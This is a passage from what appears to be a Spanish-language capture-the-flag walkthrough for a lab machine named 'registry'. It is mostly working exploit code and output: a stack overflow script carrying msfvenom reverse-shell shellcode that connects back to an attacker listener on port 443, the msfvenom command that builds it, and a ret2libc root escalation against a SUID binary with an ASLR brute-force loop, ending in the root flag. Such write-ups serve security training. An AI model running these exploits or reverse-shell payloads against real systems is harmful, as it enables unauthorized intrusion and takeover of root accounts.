shellcode += b"\x95\x6f\xb2\x27\x65\xf9\xaf\xff\x32\xae\x1e"  
shellcode += b"\xf6\xd6\x42\x38\xa0\xc4\x9e\xdc\x8b\x4c\x45"  
shellcode += b"\x1d\x15\x4d\x08\x19\x31\x5d\xd4\xa2\x7d\x09"  
shellcode += b"\x88\xf4\x2b\xe7\x6e\xaf\x9d\x51\x39\x1c\x74"  
shellcode += b"\x35\xbc\x6e\x47\x43\xc1\xba\x31\xab\x70\x13"  
shellcode += b"\x04\xd4\xbd\xf3\x80\xad\xa3\x63\x6e\x64\x60"  
shellcode += b"\x83\x8d\xac\x9d\x2c\x08\x25\x1c\x31\xab\x90"  
shellcode += b"\x63\x4c\x28\x10\x1c\xab\x30\x51\x19\xf7\xf6"  
shellcode += b"\x8a\x53\x68\x93\xac\xc0\x89\xb6\xac\xe6\x75"  
shellcode += b"\x39"

payload = junk + jmpesp + shellcode

shell = remote("127.0.0.1", 42424)
shell.sendline(payload)
shell.close()

Al ejecutar el script envia el payload y nos envia una cmd como el usuario kali

❯ python3 exploit.py
[+] Opening connection to 127.0.0.1 on port 42424: Done  
[*] Closed connection to 127.0.0.1 port 42424

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 192.168.100.70  
Microsoft Windows 6.1.7601

Z:\home\kali>whoami
KALI\kali

Z:\home\kali>

Ya que funciona en local podemos cambiar la direccion de la 127.0.0.1 a la direccion de la maquina, despues ejecutamos el exe con el privilegio de sudoers

shell = remote("192.168.100.72", 42424)  

cxdxnt@registry:~$ sudo -u gato wine /opt/projects/MyFirstProgram.exe  
[+] Listening for connections.

Corremos el script y recibimos una shell como el usuario gato en la maquina registry, lo que pasa que el contexto de wine recibimos una cmd en lugar de sh

❯ python3 exploit.py
[+] Opening connection to 192.168.100.72 on port 42424: Done  
[*] Closed connection to 192.168.100.72 port 42424

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 192.168.100.72  
Microsoft Windows 6.1.7601

C:\>whoami
REGISTRY\gato

C:\>

Lo que podemos hacer es cambiar el shellcode de msfvenom, para ello cambiamos el payload de windows/shell_reverse_tcp por el linux/x86/shell_reverse_tcp

❯ msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.100.70 LPORT=443 EXITFUNC=thread EXITFUNC=thread -b '\x00\x0a' -f python -v shellcode -e x86/jmp_call_additive  
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/jmp_call_additive
x86/jmp_call_additive succeeded with size 97 (iteration=0)
x86/jmp_call_additive chosen with final size 97
Payload size: 97 bytes
Final size of python file: 558 bytes
shellcode =  b""
shellcode += b"\xfc\xbb\xdf\x91\xaa\xfd\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\xee\x4a\x5d\x1e\x43\x2e\xf1\x8b"
shellcode += b"\x61\x39\x14\xfb\x03\xf4\x57\x6f\x92\xb6\x67"
shellcode += b"\x5d\xa4\xfe\xee\xa4\xcc\xc0\xb9\x33\x4a\xa9"
shellcode += b"\xbb\xbb\x53\x92\x35\x5a\xe3\x82\x15\xcc\x50"
shellcode += b"\xf8\x95\x67\xb7\x33\x19\x25\x5f\xa2\x35\xb9"
shellcode += b"\xf7\x52\x65\x12\x65\xca\xf0\x8f\x3b\x5f\x8a"
shellcode += b"\xb1\x0b\x54\x41\xb1\x6b\x6b\x59\xb2"

Modificamos el nuevo shellcode en el script de python y lo ejecutamos nuevamente

#!/usr/bin/python3
from pwn import remote, p32

offset = 146
junk = b"A" * offset

jmpesp = p32(0x080414c3)

shellcode =  b""
shellcode += b"\xfc\xbb\xdf\x91\xaa\xfd\xeb\x0c\x5e\x56\x31"  
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"  
shellcode += b"\xff\xff\xff\xee\x4a\x5d\x1e\x43\x2e\xf1\x8b"  
shellcode += b"\x61\x39\x14\xfb\x03\xf4\x57\x6f\x92\xb6\x67"  
shellcode += b"\x5d\xa4\xfe\xee\xa4\xcc\xc0\xb9\x33\x4a\xa9"  
shellcode += b"\xbb\xbb\x53\x92\x35\x5a\xe3\x82\x15\xcc\x50"  
shellcode += b"\xf8\x95\x67\xb7\x33\x19\x25\x5f\xa2\x35\xb9"  
shellcode += b"\xf7\x52\x65\x12\x65\xca\xf0\x8f\x3b\x5f\x8a"  
shellcode += b"\xb1\x0b\x54\x41\xb1\x6b\x6b\x59\xb2"

payload = junk + jmpesp + shellcode

shell = remote("192.168.100.72", 42424)
shell.sendline(payload)
shell.close()

❯ python3 exploit.py
[+] Opening connection to 192.168.100.72 on port 42424: Done  
[*] Closed connection to 192.168.100.72 port 42424

Despues de ejecutarlo recibimos nuevamente una shell pero esta vez una de linux

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 192.168.100.72
script /dev/null -c bash
Script started, output log file is '/dev/null'.  
gato@registry:~/.wine/drive_c$ id
uid=1000(gato) gid=1000(gato) groups=1000(gato)
gato@registry:~/.wine/drive_c$ hostname -I
192.168.100.72
gato@registry:~/.wine/drive_c$


Shell - root


Buscando binarios con privilegio suid encontramos a new perteneciente a root

gato@registry:~$ find / -perm -u+s 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/snapd/snap-confine
/usr/bin/gpasswd
/usr/bin/fusermount3
/usr/bin/su
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/umount
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/mount
/usr/libexec/polkit-agent-helper-1
/opt/others/program
/opt/fixed/new
gato@registry:~$ ls -l /opt/fixed/new
-rwsr-xr-x 1 root root 14940 Jul 24 04:01 /opt/fixed/new  
gato@registry:~$

El binario parece tener el mismo funcionamiento que el primero que explotamos, nos pide como argumento un nombre y si se lo pasamos no hace nada interesante

gato@registry:~$ /opt/fixed/new
Usage: /opt/fixed/new <name>
gato@registry:~$ /opt/fixed/new name  
gato@registry:~$

Nuevamente lo descargamos y decompilamos con ida para ver su codigo en C

El codigo es practicamente el mismo que el primer binario sin embargo con una gran diferencia, este hace un setreuid con el id 0 el cual pertenece a root

int __cdecl main(int argc, const char **argv, const char **envp)  
{
  if ( argc <= 1 )
    return printf("Usage: %s <name>\n", *argv);
  setreuid(0, 0);
  return vuln(argv[1]);
}

int __cdecl vuln(int param_1)
{
  char buffer[132]; // [esp+0h] [ebp-88h] BYREF

  return strcpy(buffer, param_1);
}

Sabemos que es vulnerable pero si lo miramos con checksec vemos 2 diferencias, la primera es que ahora es x86 pero ademas esta habilitado el NX que nos impide ejecutar shellcode de primeras por lo que no podemos explotarlo igual que antes

❯ checksec new  
[*] '/home/kali/new'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

Lo primero sera abrir el programa con gdb y agregar un argumento que sera un patron de 150 caracteres para buscar el offset y correrlo para que se corrompa

❯ gdb -q new
Reading symbols from new...
(No debugging symbols found in new)
pwndbg> cyclic 150
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabma
pwndbg> run aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabma
Starting program: /home/kali/new aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabma  
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
0x6261616b in ?? ()
pwndbg>

Despues de que corrompe podemos buscar el offset o la cantidad de bytes necesarios antes de sobreescribir el registro EIP osea el puntero, que son 140

pwndbg> cyclic -l $eip
Finding cyclic pattern of 4 bytes: b'kaab' (hex: 0x6b616162)  
Found at offset 140
pwndbg>

Ya que no podemos ejecutar shellcode en la pila podemos explotarlo con ret2libc, sin embargo por cada ejecucion la direccion de libc base del binario cambia

gato@registry:~$ ldd /opt/fixed/new
        linux-gate.so.1 (0xf7f94000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d46000)  
        /lib/ld-linux.so.2 (0xf7f96000)
gato@registry:~$ ldd /opt/fixed/new
        linux-gate.so.1 (0xf7f4c000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7cfe000)  
        /lib/ld-linux.so.2 (0xf7f4e000)
gato@registry:~$

El ASLR esta habilitado, pero ya que estamos en x86 es facil de bypassear ya que la direccion es pequeña y despues de varias ejecuciones vuelve a coincidir

gato@registry:~$ for i in $(seq 1 1000); do ldd /opt/fixed/new | grep 0xf7cfe000; done  
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7cfe000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7cfe000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7cfe000)
gato@registry:~$

Para iniciar buscaremos los offsets de las direcciones de las funciones system() y exit() esto podemos hacerlo facilmente usando la herramienta readelf

gato@registry:~$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -E ' system@@| exit@@'  
   460: 0003a440    39 FUNC    GLOBAL DEFAULT   15 exit@@GLIBC_2.0
  2166: 00048150    63 FUNC    WEAK   DEFAULT   15 system@@GLIBC_2.0
gato@registry:~$

Lo siguiente sera buscar la string /bin/sh en la libreria de libc, ya que se lo pasaremos como argumento a system() para ejecutar un system("/bin/sh")

gato@registry:~$ strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh  
 1bd0f5 /bin/sh
gato@registry:~$

De esta manera en el EIP ejecutariamos system() como función, exit() como función de retorno y le pasaremos la string /bin/sh como argumento a system()

Definimos todo esto en el script de python, sumandole a cada offset la direccion base de libc que tomamos con ldd para asi obtener la direccion real de estos

#!/usr/bin/python2
from pwn import p32

offset = 140
junk = b"A" * offset

libc_base = 0xf7cfe000

system = p32(libc_base + 0x00048150)
exit = p32(libc_base + 0x0003a440)
bin_sh = p32(libc_base + 0x1bd0f5)  

payload = junk + system + exit + bin_sh

print(payload)

Finalmente ejecutamos el script como argumento al binario de forma infinita hasta que la direccion de libc base vuelva a coincidir, cuando coincide de nuevo con la que tomamos nos otorgara una /bin/sh como root donde podemos leer la flag

gato@registry:~$ while true; do /opt/fixed/new $(python2 exploit.py); done  
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Illegal instruction (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
# whoami
root
# hostname -I
192.168.100.72
# cat /root/root.txt
REGISTRY{7H3_BUFF3R_0V3RF10W_15_FUNNY}
#